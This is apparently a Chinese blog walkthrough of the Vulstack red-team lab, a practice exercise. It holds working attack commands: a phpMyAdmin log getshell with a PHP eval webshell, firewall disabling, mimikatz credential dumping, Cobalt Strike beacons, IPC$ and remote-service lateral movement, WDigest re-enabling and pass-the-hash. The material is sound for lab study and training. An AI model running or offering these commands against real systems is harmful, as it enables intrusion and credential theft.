Vulstack红队评估(一)

文章目录

一、环境搭建

1、网络拓扑

2、web服务器(win7)配置

首先准备两个网卡vmnet2vmnet4,其中vmnet4用于连接外网(连接物理机),vmnet2用于连接外网。具体网卡配置如下:

然后win7充当web服务器,拥有vmnet2vmnet4,手动设置vmnet4IP为192.168.111.128vmnet2IP为192.168.52.143。**注意:vmnet2的DNS服务器地址为域控。**具体配置如下:

关闭win7上的防火墙,物理机可以ping通192.168.111.128,ping不通192.168.52.143。记得开启防火墙~

3、域控(winserver2008)配置

网卡设置为内网网卡vmnet2

登录域控的时候,首先用Administrator hongrisec@2019登录,然后需要更改密码,这里改为hongrisec@2024

查看域控ip是否为1922.168.52.138.

4、域内机器(windows 2003)配置

网卡设置为内网网卡vmnet2

注意:刚刚在域控上改了Administrator的密码,域内所有主机Administrator的密码都被改了,这里密码为hongrisec@2024

确定IP为192.168.52.141.

!!!配置好上述之后,要重启win7主机,使用hongrisec@2024进行登录。

5、调试网络是否通常

在win7和winsever 2003上使用net user /domain查看域用户:

正常情况下,物理机只能通过ping 192.168.111.128ping通web服务器(win 7),域内机器是可以互ping,而物理机是ping不通域内机器的。

二、web渗透

1、信息搜集

信息搜集主要搜集以下信息:

  • IP地址
  • 子域名
  • 目录结构
  • JS信息
  • APP和小程序
  • 端口
  • 旁站
  • C端
  • whois信息
  • 公司结构
  • 公司相关手机、邮箱

2、端口扫描

常见端口及其对应的服务:

这里使用nmap进行端口扫描,命令如下:

sh 复制代码
nmap -p- -sV -A 192.168.111.128

可以看到网站开放了80、135、139、445、3306端口。

3、目录扫描

这里用御剑进行网站目录扫描

根据扫描结果,主要是phpinfo页面phpmyadminbeifen.rar

4、弱口令

访问phpmyadmin页面,尝试弱口令root/root,成功登录~

5、phpmyadmin getshell

日志getshell

mysql5.0版本以上会创建日志,可以通过修改日志的全局变量getshell。

检测全局变量(general_log、general_log file)

使用如下命令:

sh 复制代码
show variables like 'genral%'
  • general log指的是日志保存状态,ON代表开启,OFF代表关闭;
  • general log file 指的是日志的保存路径。

开启日志

开启general_log作用:开启它可以记录用户输入的每一条命令,并且将其保存在general_log_file指向的文件中,也就是日志文件。

利用思路:开启general_log之后,把general_log_file的值修改为网站默认路径下的某个php文件中,并将一句话木马写入日志文件中。

根据php探针,我们可以知道网站目录C://phpStudy/WWW/1.php,所有将general_log_file=C://phpStudy/WWW/shell.php

sh 复制代码
set global general_log = "ON"; # 开启日志
set global general_log_file= "C:/phpStudy/WWW/shell.php"; # 更改日志路径

这时候我们访问192.168.111.128/shell.php,可以看到mysql的日志内容。

写入一句话木马

在SQL执行环境中,写入一句话木马select <?php @eval($_POST[1]);?>

连接shell

连接密码就是post传输的参数~

点击添加后,即可用蚁剑连接到一句话木马。

6、远程桌面连接

要想远程桌面连接,需要解决三个问题:

  1. 开启3389端口;
  2. 知道防火墙用户名和密码;
  3. 关闭靶机防火墙。

开启3389端口

根据端口扫描的结果,目标机器没有开启3389端口,也可以在命令行中用netstat -ano命令查看以开放的端口。

  • -a:显示所有选项,默认不显示LISTEN相关;
  • -n:拒绝显示别名,能显示数字的全部转化成数字;
  • -o:显示计时器。
sh 复制代码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389端口


关闭防火墙

sh 复制代码
netsh firewall show state # 查看防火墙状态
netsh firewall set opmode disable # 关闭防火墙

可见防火墙状态:开启。

关闭防火墙。

内存密码抓取

首先通过蚁剑上传mimikatz到目标主机.

sh 复制代码
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"

mimikatz常见命令如下:

cls 清屏
exit 退出
version 查看mimikatz的版本
system::user 查看当前登录的系统用户
system::computer 查看计算机名称
process::list 列出进程
process::suspend 进程名称 暂停进程
process::stop 进程名称 结束进程
process::modules 列出系统的核心模块及所在位置
service::list 列出系统的服务
service::remove 移除系统的服务
service::start stop 服务名称 启动或停止服务
privilege::list 列出权限列表
privilege::enable 激活一个或多个权限
privilege::debug 提升权限
nogpo::cmd 打开系统的cmd.exe
nogpo::regedit 打开系统的注册表
nogpo::taskmgr 打开任务管理器
ts::sessions 显示当前的会话
ts::processes 显示进程和对应的pid情况等
sekurlsa::wdigest 获取本地用户信息及密码
sekurlsa::tspkg 获取tspkg用户信息及密码
sekurlsa::logonPasswords 获登陆用户信息及密码

远程桌面登录

输入用户名GOD\Administrator,密码hongridec@2019,成功连接。

对方电脑会锁屏!

三、内网渗透

内网中电脑的分布形式有两种:工作组和域环境(域控进行统一的管理)。

1、内网信息收集

收集用户信息

sh 复制代码
whoami # 查看当前用户信息
hostname # 查看当前设备主机名
net user # 查看本地用户
net user /domain # 查看域用户,向域控去查询

因为主机名为stu1,按道理本地管理员应该是stu1\administrator,所以god\administrator是一个域账号。本地账号的命名方式:主机名\本地用户名。域账号的命名方式:域名\域账号名

  • 域账号:在域控制器(Domain Controller)上创建和管理的账号,域账号的权限和访问控制由域控制器管理。
  • 本地账号:在单个计算机上创建和管理的账号,本地账号只能在特定计算机上使用,不能跨计算机使用。

收集域名信息

sh 复制代码
systeminfo # 查看域名信息


收集域内机器数

sh 复制代码
net group "domain computers" /domain # 向域控询问当前域环境中有多少设备

当前域内存在三台电脑:DEV1ROOT-TV1862UBEHSTU1

查询域控IP及域名

sh 复制代码
nslookup -type=SRV _ldap._tcp


查询域内机器IP

sh 复制代码
arp -a # 查看当前计算机上的arp缓存表
ping <主机名>


2、蚁剑上线到CS

Cobalt Strike部署--Windows
192.168.111.1是物理机在vmnet4网卡下的ip地址。

添加监听器

生成木马

保存到桌面,木马名为shell.exe

蚁剑上传木马,并运行



sleep改为1。目前不知道为什么?

3、内网横向------IPC$管道

横向移动技术有:利用远控工具横向;IPC$横向移动;PTH哈希传递攻击;PTK密钥传递攻击;PTT票据传递攻击;PSexec工具横向移动;SMB工具横向移动;WinRM命令横向移动;WMI命令横向移动。

IPC简介

IPC(internet ProcessConnection)共享"命名管道"的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程登录计算机和查看计算机的共享资源时使用。

通过IPC$,可以与目标机器建立连接,利用该连接,不仅可以访问目标机器的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

在CS中直接运行run mimikatz抓取当前主机的用户名和密码。

与域控建立IPC管道

sh 复制代码
net use \\<域控域名>\IPC$ "<登录密码>" /user:<登录用户> # 与域控建立IPC管道

# 具体命令
net use \\owa.god.org\IPC$ "hongrisec@2024" /user:god\administrator
sh 复制代码
net use # 查看网络共享连接
sh 复制代码
copy shell.exe \\owa.god.org\C$ # 将web服务器上的cs木马远程复制到域控的c盘下

4、使用CS自带SMB Beacon上线不出网机器

隧道部分知识:反弹shell、端口转发、端口映射、正向连接、反向连接、DNS隧道、socks隧道、HTTP隧道、ICMP隧道...

创建监听器

生成相应的木马

将木马传到域控上

先将木马用CS上传到web服务器上,再通过IPC管道上传到域控上。



域控运行smb木马

思路:远程创建服务,远程执行服务。

sh 复制代码
sc \\owa.god.org create test binpath= "cmd.exe /c c:\smb.exe" # 创建服务

# sc:是Windows系统中的一个命令行工具,用于管理和配置系统服务。
# create:是 sc 命令的参数之一,指示要创建一个新的服务。
# test:表示要创建的新服务的名称,这里将其命名为 "test"。
# binpath=:是 sc 命令的参数之一,用于指定服务的二进制路径。
# "cmd.exe /c c:\smb.exe":是要作为服务的二进制路径的值。这里使用了 cmd.exe 命令解释器,/c 参数表示在执行完命令后立即退出,并指定了一个名为 smb.exe 的可执行文件的路径(在C盘根目录下)。
sh 复制代码
sc \\owa.god.org start test # 远程运行服务
link owa.god.org

域控成功上线~

5、远程连接域控

sh 复制代码
# 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

# 查看防火墙状态
netsh firewall show state 
# 关闭防火墙
netsh firewall set opmode disable 


sh 复制代码
# 在web服务器上运行,将192.168.52.138的3389流量转发到192.168.52.143(web服务器)的9999端口
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectport=3389 connectaddress=192.168.52.138

# netsh是用于配置网络设置的Windows命令行工具。
# interface portproxy指示netsh工具执行端口代理配置。
# add v4tov4表示将添加一个IPv4到IPv4的端口代理。
# listenaddress=0.0.0.0指定监听地址为0.0.0.0,这表示将监听所有可用的网络接口。
# listenport=9999指定要监听的本地端口号为9999。
# connectport=3389指定要连接的远程目标端口号为3389。
# connectaddress=192.168.52.138指定要连接的远程目标地址为192.168.52.138。


# 查看是否配置成功
netsh interface portproxy show v4tov4

在web服务器上运行~

四、windows认证

1、windows认证流程

windows认证流程图解:

  • windows Logon Process(即winlogon.exe):是windows NT 用户登录程序,用于管理用户登录和退出。用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面。
  • lsass.exe是一个系统进程,用于微软windows系统的安全机制。它用于本地安全和登录策略。1、将winlogon传过来的明文账号密码进行加密,然后和SAM文件中的密文账号密码进行对比,对比成功则登录;2、将收到的明文账号密码在本地内存中保留一份作备用。 要想获取windows账号密码,要么读取SAM文件;要么查看内存中保存的明文账号和密码。
  • SAM文件是位于C:\windows\system32\config\目录下的,用于存储本地所有用户的凭证信息。普通人:不能删、不能改、不能看、不能复制该文件

完整登录流程:

2、抓取SAM文件中的hash值

使用mimikatz读取SAM文件中的密码

sh 复制代码
mimikatz.exe # 运行mimikatz.exe
privilege::debug # Mimikatz提升当前进程的调试特权,调试特权允许进程访问和操作其他进程的内存和资源
token::elevate # Mimikatz获取到当前进程的访问令牌,并将其权限级别提升到最高级别,即系统级别
lsadump::sam # 读取sam文件

这里读取的是本地SAM文件~

3、 NTLM-HASH

1、介绍

NTLM Hash是微软为了提高安全性的同时保证兼容性而设计的散列加密算法,NTLM Hash是基于MD4加密算法进行加密的。个人版从windows vista以后,服务器版从windows server 2003以后,windows操作系统的认证方式均为NTLM Hash

2、NTLM Hash加密过程

  • 将明文口令转换成十六进制格式;
  • 将16进制转化成unicode格式(每两位加00);
  • 对unicode字符串作MD4加密。

4、lsass.exe内存抓取密码

sh 复制代码
mimikatz.exe # 运行mimikatz.exe
privilege::debug # Mimikatz提升当前进程的调试特权,调试特权允许进程访问和操作其他进程的内存和资源
sekurlsa::logonPasswords # 抓取内存中的明文账号和密码

成功读取用户名和密码~

这里抓取的是域用户的内存密码!

5、LM-HASH

1、介绍

windows操作系统通常使用两种方法对用户的明文密码进行加密处理,一部分为LM-Hash,另一部分为NTLM-Hash。为了解决LM加密和身份验证方案中固有的安全弱点,微软于1993年在Windows NT 3.1中引入NTLM协议。下面是各个版本对LM和NTLM的支持:

2、LM-Hash加密过程


6、每7组bit为单位,后面加一个0;

6、高版本密码抓取

使用上述方法,mimikatz默认情况抓取不到win10的明文密码。

在windows2012及以上的系统,默认在内存缓存中禁止保存明文密码。可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取~

sh 复制代码
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f


7、PTH攻击(hash传递攻击)

适用:win10、win8、win11、win 2012都可以使用。

情景:在内网中因为员工很多电脑就很多,很多网络管理员在安装系统时都会采用相同的账号密码,如果账号密码相同,NTLM-Hash值也就相同,我们可以利用明文或NTLM-Hash进行认证,从而实现远程控制对方电脑。

横向移动工具:PSEXEC、WMIEXEC、SMBEXEC

sh 复制代码
wmiexec.exe <用户名>:<密码>@<ip> # 明文认证
wmiexec.exe -hashes LM-Hash:NTLM-Hash <用户名>@<ip> # NTLM-Hash认证
相关推荐
落樱坠入星野1 小时前
拿下阿里云之后如何在本地运行镜像进行分析
经验分享·安全·网络安全·阿里云·云计算
超栈2 小时前
HCIP(11)-期中综合实验(BGP、Peer、OSPF、VLAN、IP、Route-Policy)
运维·网络·网络协议·计算机网络·web安全·网络安全·信息与通信
Wh1teR0se2 小时前
XSS漏洞--常用payload及绕过
web安全·网络安全·xss
落寞的魚丶2 小时前
2024一带一路暨金砖国家技能发展与技术创新大赛 (高职组)【网络安全防护治理实战技能赛项】
网络安全·高职组·2024一带一路比赛·金砖国家技术发展与技术创新赛·网络安全防护治理实战技能赛项
0DayHP2 小时前
HTB:Sense[WriteUP]
网络安全
follycat2 小时前
[极客大挑战 2019]PHP 1
开发语言·学习·网络安全·php
0DayHP2 小时前
HTB:GreenHorn[WriteUP]
网络安全
慕舟舟4 小时前
Windows密码的网络认证---基于挑战响应认证的NTLM协议
windows·网络安全
聚铭网络4 小时前
案例精选 | 河北省某检察院安全运营中异构日志数据融合的实践探索
网络安全
芯盾时代9 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信